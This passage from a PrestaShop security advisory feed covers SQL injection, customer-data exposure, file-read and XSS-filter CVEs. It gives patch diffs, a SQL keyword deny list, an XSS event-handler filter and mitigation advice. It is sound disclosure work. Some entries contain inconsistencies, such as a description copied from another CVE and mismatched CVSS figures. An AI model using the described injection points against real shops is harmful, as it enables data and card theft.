<h2 id="patch-from-10">Patch from 1.0</h2>

<p>Version A seen :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0A/modules/posstaticfooter/posstaticfooter.php
</span><span class="gi">+++ XXXX/modules/posstaticfooter/posstaticfooter.php
</span><span class="err">...</span>
-$sql = 'SELECT psb.`hook_module` FROM '._DB_PREFIX_.'pos_staticfooter AS psb LEFT JOIN '._DB_PREFIX_.'pos_staticfooter_shop AS pss ON psb.`id_posstaticblock`= pss.`id_posstaticblock` WHERE  psb.`name_module` ="'.$name_module.'" AND pss.`id_shop` = "'.$id_shop.'"';
<span class="gi">+$sql = 'SELECT psb.`hook_module` FROM '._DB_PREFIX_.'pos_staticfooter AS psb LEFT JOIN '._DB_PREFIX_.'pos_staticfooter_shop AS pss ON psb.`id_posstaticblock`= pss.`id_posstaticblock` WHERE  psb.`name_module` ="'.pSQL($name_module).'" AND pss.`id_shop` = "'.$id_shop.'"';
</span></code></pre></div></div>

<p>Version B seen :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0B/modules/posstaticfooter/posstaticfooter.php
</span><span class="gi">+++ XXXX/modules/posstaticfooter/posstaticfooter.php
</span><span class="err">...</span>
-WHERE m.`id_module` = ' . $id_module);
<span class="gi">+WHERE m.`id_module` = ' . (int) $id_module);
</span></code></pre></div></div>

<p>Be warned that there is other sensitives SQL calls inside this module accessible to administrators. Since there is thousand of injection SQL accessible to administrators on the PrestaShop’s ecosystem, these vulnerabilities are ignored until author provide a patch.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to apply patch given or delete the module (NB : disabled it is useless)</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-12</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-03-21</td>
      <td>Contact Author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-03-21</td>
      <td>A member of Friends of Presta (FX) provide another version which need a new patch</td>
    </tr>
    <tr>
      <td>2023-05-09</td>
      <td>Author never answer and exploit is used to massively stole credit cards</td>
    </tr>
    <tr>
      <td>2023-05-09</td>
      <td>Publication of this security advisory without delay due to emergency</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://themeforest.net/user/posthemes/portfolio">Posthemes product page on Themes Forest</a></li>
  <li><a href="https://posthemes.com/">Posthemes website</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30194">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Static Footer” (posstaticfooter) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-30281] Exposure of Private Personal Information to an Unauthorized Actor in SC Quick Accounting module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/04/scquickaccounting.html" rel="alternate" type="text/html" title="[CVE-2023-30281] Exposure of Private Personal Information to an Unauthorized Actor in SC Quick Accounting module for PrestaShop" /><published>2023-05-04T00:00:00+00:00</published><updated>2023-05-04T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/04/scquickaccounting</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/04/scquickaccounting.html"><![CDATA[<p>In the module “SC Quick Accounting” (scquickaccounting), a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30281">CVE-2023-30281</a></li>
  <li><strong>Published at</strong>: 2023-05-04</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: scquickaccounting</li>
  <li><strong>Impacted release</strong>: &lt;= 3.7.3</li>
  <li><strong>Product author</strong>: Store Commander</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can access exports from the module which can lead to leak of personal information from ps_customer table such as name / surname / email</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module if not used or contact Store Commander</li>
  <li>You should restrict access to this URI pattern : modules/scquickaccounting/ to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-08</td>
      <td>Issue discovered after a security audit by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2022-12-08</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2022-12-12</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-03-30</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-02</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-04</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Store Commander thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.storecommander.com/fr/modules-complementaires/440-export-commandes-pro.html">Store Commander export orders module product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30281">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Store Commander&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SC Quick Accounting” (scquickaccounting), a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-30545] Arbitrary file read via the backoffice Database Manager [DEBATE RUNNING ABOUT SCORING FROM PS CORE]</title><link href="https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30545.html" rel="alternate" type="text/html" title="[CVE-2023-30545] Arbitrary file read via the backoffice Database Manager [DEBATE RUNNING ABOUT SCORING FROM PS CORE]" /><published>2023-05-03T00:00:00+00:00</published><updated>2023-05-03T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30545</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30545.html"><![CDATA[<p>As an admin manager logged, the Database Manager interface let create LOAD_FILE select request.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30545">CVE-2023-30545</a></li>
  <li><strong>Published at</strong>: 2022-05-03</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-fh7r-996q-gvcp">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt;= 8.0.0 &lt; 8.0.3 and &lt; 1.7.8.8 (Patched versions 8.0.4 and 1.7.8.9)</li>
  <li><strong>Weakness</strong>: <a href="https://www.cvedetails.com/cwe-details/22/cwe.html">CWE-22</a></li>
  <li><strong>Severity</strong>: medium (6.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>It is possible for a user having access to the SQL Manager (Advanced Options -&gt; Database) to arbitrary read any file on the Operating system when using SQL function LOAD_FILE in a SELECT request. So It can access to critical information.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: high</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain database access</li>
  <li>Extract sensitive data, such as tokens or private keys stored in config files</li>
  <li>Extract other private data, such as log files or exports</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/RequestSql.php
</span><span class="gi">+++ b/classes/RequestSql.php
</span><span class="p">@@ -59,7 +59,7 @@</span> class RequestSqlCore extends ObjectModel
         ],
         'unauthorized' =&gt; [
             'DELETE', 'ALTER', 'INSERT', 'REPLACE', 'CREATE', 'TRUNCATE', 'OPTIMIZE', 'GRANT', 'REVOKE', 'SHOW', 'HANDLER',
<span class="gd">-            'LOAD', 'ROLLBACK', 'SAVEPOINT', 'UNLOCK', 'INSTALL', 'UNINSTALL', 'ANALZYE', 'BACKUP', 'CHECK', 'CHECKSUM', 'REPAIR', 'RESTORE', 'CACHE',
</span><span class="gi">+            'LOAD', 'LOAD_FILE', 'ROLLBACK', 'SAVEPOINT', 'UNLOCK', 'INSTALL', 'UNINSTALL', 'ANALZYE', 'BACKUP', 'CHECK', 'CHECKSUM', 'REPAIR', 'RESTORE', 'CACHE',
</span>             'DESCRIBE', 'EXPLAIN', 'USE', 'HELP', 'SET', 'DUPLICATE', 'VALUES',  'INTO', 'RENAME', 'CALL', 'PROCEDURE',  'FUNCTION', 'DATABASE', 'SERVER',
             'LOGFILE', 'DEFINER', 'RETURNS', 'EVENT', 'TABLESPACE', 'VIEW', 'TRIGGER', 'DATA', 'DO', 'PASSWORD', 'USER', 'PLUGIN', 'FLUSH', 'KILL',
             'RESET', 'START', 'STOP', 'PURGE', 'EXECUTE', 'PREPARE', 'DEALLOCATE', 'LOCK', 'USING', 'DROP', 'FOR', 'UPDATE', 'BEGIN', 'BY', 'ALL', 'SHARE',
<span class="p">@@ -484,6 +484,15 @@</span> public function checkedSelect($select, $from, $in = false)
                         }
                     }
                 }
<span class="gi">+
+                while (is_array($attribut['sub_tree'])) {
+                    if ($attribut['expr_type'] === 'function' &amp;&amp; in_array(strtoupper($attribut['base_expr']), $this-&gt;tested['unauthorized'])) {
+                        $this-&gt;error_sql['checkedSelect']['function'] = $attribut['base_expr'];
+
+                        return false;
+                    }
+                    $attribut = $attribut['sub_tree'][0];
+                }
</span>             } elseif ($in) {
                 $this-&gt;error_sql['checkedSelect']['*'] = false;
 
<span class="gh">diff --git a/src/Adapter/SqlManager/SqlQueryValidator.php b/src/Adapter/SqlManager/SqlQueryValidator.php
index fda12566a5c3..466af3264b10 100644
</span><span class="gd">--- a/src/Adapter/SqlManager/SqlQueryValidator.php
</span><span class="gi">+++ b/src/Adapter/SqlManager/SqlQueryValidator.php
</span><span class="p">@@ -187,6 +187,14 @@</span> private function getSelectKeywordError(array $legacyError)
             ];
         }
 
<span class="gi">+        if (isset($legacyError['function'])) {
+            return [
+                'key' =&gt; 'The "%function%" function is not allowed.',
+                'parameters' =&gt; ['%function%' =&gt; $legacyError['function']],
+                'domain' =&gt; 'Admin.Advparameters.Notification',
+            ];
+        }
+
</span>         return [
             'key' =&gt; 'Undefined "%s" error',
             'parameters' =&gt; [
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the PrestaShop 1.7.8.9 or 8.0.4.</li>
  <li>Disable local_infile MySQL options if not usefull</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-8r4m-5p6p-52rp">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/d900806e1841a31f26ff0a1843a6888fc1bb7f81.patch">Patch</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30545">National Vulnerability Database CVE-2023-30545</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[As an admin manager logged, the Database Manager interface let create LOAD_FILE select request.]]></summary></entry><entry><title type="html">[CVE-2023-30838] Possible XSS injection through Validate::isCleanHTML method</title><link href="https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30838.html" rel="alternate" type="text/html" title="[CVE-2023-30838] Possible XSS injection through Validate::isCleanHTML method" /><published>2023-05-03T00:00:00+00:00</published><updated>2023-05-03T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30838</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30838.html"><![CDATA[<p>ValidateCore::isCleanHTML() method of Prestashop misses hijickable events which can lead to XSS injection, allowed by the presence of pre-setup @Keyframes methods.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30838">CVE-2023-30838</a></li>
  <li><strong>Published at</strong>: 2022-05-03</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-fh7r-996q-gvcp">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt;= 8.0.0 &lt; 8.0.3 and &lt; 1.7.8.8 (Patched versions 8.0.4 and 1.7.8.9)</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: high (8.0)</li>
</ul>

<h2 id="description">Description</h2>

<p>This XSS which hijacks HTML attributes will be triggered without any interaction of the visitor/administrator which makes it as dangerous as a trivial XSS.</p>

<p>Contrary to most XSS which target HTML attributes and which are triggered without user interaction (such as onload / onerror which suffer from a very limited scope), this one can hijack every HTML element, which increases the danger due to a complete HTML elements scope.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: high</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Unlock design’s vulnerability, <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">see this also</a></li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/Validate.php
</span><span class="gi">+++ b/classes/Validate.php
</span><span class="p">@@ -486,7 +486,7 @@</span> public static function isCleanHtml($html, $allow_iframe = false)
         $events .= '|onbounce|oncellchange|oncontextmenu|oncontrolselect|oncopy|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|ondeactivate|ondrag|ondragend|ondragenter|onmousewheel';
         $events .= '|ondragleave|ondragover|ondragstart|ondrop|onerrorupdate|onfilterchange|onfinish|onfocusin|onfocusout|onhashchange|onhelp|oninput|onlosecapture|onmessage|onmouseup|onmovestart';
         $events .= '|onoffline|ononline|onpaste|onpropertychange|onreadystatechange|onresizeend|onresizestart|onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onsearch|onselectionchange';
<span class="gd">-        $events .= '|onselectstart|onstart|onstop';
</span><span class="gi">+        $events .= '|onselectstart|onstart|onstop|onanimationcancel|onanimationend|onanimationiteration|onanimationstart';
</span> 
         if (preg_match('/&lt;[\s]*script/ims', $html) || preg_match('/(' . $events . ')[\s]*=/ims', $html) || preg_match('/.*script\:/ims', $html)) {
             return false;
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the PrestaShop 1.7.8.9 or 8.0.4.</li>
  <li>Configure CSP rules especially for your backoffice.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-fh7r-996q-gvcp">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/dc682192df0e4b0d656a8e645b29ca1b9dbe3693.patch">Patch</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30838">National Vulnerability Database CVE-2023-30545</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[ValidateCore::isCleanHTML() method of Prestashop misses hijickable events which can lead to XSS injection, allowed by the presence of pre-setup @Keyframes methods.]]></summary></entry><entry><title type="html">[CVE-2023-30839] SQL filter bypass leading to arbitrary write requests using SQL Manager [DEBATE RUNNING ABOUT SCORING FROM PS CORE]</title><link href="https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30839.html" rel="alternate" type="text/html" title="[CVE-2023-30839] SQL filter bypass leading to arbitrary write requests using SQL Manager [DEBATE RUNNING ABOUT SCORING FROM PS CORE]" /><published>2023-05-03T00:00:00+00:00</published><updated>2023-05-03T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30839</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/05/03/core-CVE-2023-30839.html"><![CDATA[<p>SQL filtering vulnerability, a BO user can write, update and delete in the database, even without having specific rights.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30839">CVE-2023-30839</a></li>
  <li><strong>Published at</strong>: 2022-05-03</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-p379-cxqh-q822">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt;= 8.0.0 &lt; 8.0.3 and &lt; 1.7.8.8 (Patched versions 8.0.4 and 1.7.8.9)</li>
  <li><strong>Weakness</strong>: <a href="https://www.cvedetails.com/cwe-details/22/cwe.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (8.8) (source <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30839">NVD</a>)<supp>*</supp></li>
</ul>

<h2 id="description">Description</h2>

<p>It is possible for a user having access to the SQL Manager (Advanced Options -&gt; Database) to arbitrary read any file on the Operating system when using SQL function LOAD_FILE in a SELECT request. So It can access to critical information.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a> (source <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30839">NVD</a>)<supp>*</supp></p>

<supp>*</supp>
<p>According to Friends of Presta, the severity is lower than 8.8. The vunlerability is only in backoffice, we consider Privilege required sould be “high”.</p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain database access</li>
  <li>Extract sensitive data, such as tokens or private keys stored in config files</li>
  <li>Extract other private data, such as log files or exports</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/db/Db.php
</span><span class="gi">+++ b/classes/db/Db.php
</span><span class="p">@@ -603,11 +603,7 @@</span> public function executeS($sql, $array = true, $use_cache = true)
 
         // This method must be used only with queries which display results
         if (!preg_match('#^\s*\(?\s*(select|show|explain|describe|desc)\s#i', $sql)) {
<span class="gd">-            if (defined('_PS_MODE_DEV_') &amp;&amp; _PS_MODE_DEV_) {
-                throw new PrestaShopDatabaseException('Db-&gt;executeS() must be used only with select, show, explain or describe queries');
-            }
-
-            return $this-&gt;execute($sql, $use_cache);
</span><span class="gi">+            throw new PrestaShopDatabaseException('Db-&gt;executeS() must be used only with select, show, explain or describe queries');
</span>         }
 
         $this-&gt;result = $this-&gt;query($sql);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the PrestaShop 1.7.8.9 or 8.0.4.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-p379-cxqh-q822">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/d900806e1841a31f26ff0a1843a6888fc1bb7f81.patch">Patch</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30839">National Vulnerability Database CVE-2023-30839</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[SQL filtering vulnerability, a BO user can write, update and delete in the database, even without having specific rights.]]></summary></entry><entry><title type="html">[CVE-2023-30282] Exposure of Private Personal Information to an Unauthorized Actor in SC Export Customers module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/02/scexportcustomers.html" rel="alternate" type="text/html" title="[CVE-2023-30282] Exposure of Private Personal Information to an Unauthorized Actor in SC Export Customers module for PrestaShop" /><published>2023-05-02T00:00:00+00:00</published><updated>2023-05-02T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/02/scexportcustomers</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/02/scexportcustomers.html"><![CDATA[<p>In the module “SC Export Customers” (scexportcustomers), a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30282">CVE-2023-30282</a></li>
  <li><strong>Published at</strong>: 2023-05-02</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: scexportcustomers</li>
  <li><strong>Impacted release</strong>: &lt;= 3.6.1</li>
  <li><strong>Product author</strong>: Store Commander</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can access exports from the module which can lead to leak of personal information from ps_customer table such as name / surname / email</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module if not used or contact Store Commander</li>
  <li>You should restrict access to this URI pattern : modules/scexportcustomers/ to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-08</td>
      <td>Issue discovered after a security audit by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2022-12-08</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2022-12-12</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-03-30</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-27</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-02</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Store Commander thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.storecommander.com/fr/modules-complementaires/480-export-clients-pro.html">Store Commander export customer module product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30282">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Store Commander&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SC Export Customers” (scexportcustomers), a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-30189] Improper neutralization of SQL parameter in Posthemes - Static Blocks module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/27/posstaticblocks.html" rel="alternate" type="text/html" title="[CVE-2023-30189] Improper neutralization of SQL parameter in Posthemes - Static Blocks module for PrestaShop" /><published>2023-04-27T00:00:00+00:00</published><updated>2023-04-27T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/27/posstaticblocks</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/27/posstaticblocks.html"><![CDATA[<p>In the module “Static Blocks” (posstaticblocks) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<p>Note : if ajax.php do not exists in the root module directory, you are not concerned.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30189">CVE-2023-30189</a></li>
  <li><strong>Published at</strong>: 2023-04-27</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: posstaticblocks</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0 (1.0.0 seems not concerned - no semver versionning)</li>
  <li><strong>Product author</strong>: posthemes</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">posstaticblocks::getPosCurrentHook()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>The exploit can be used even if the module is not activated.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
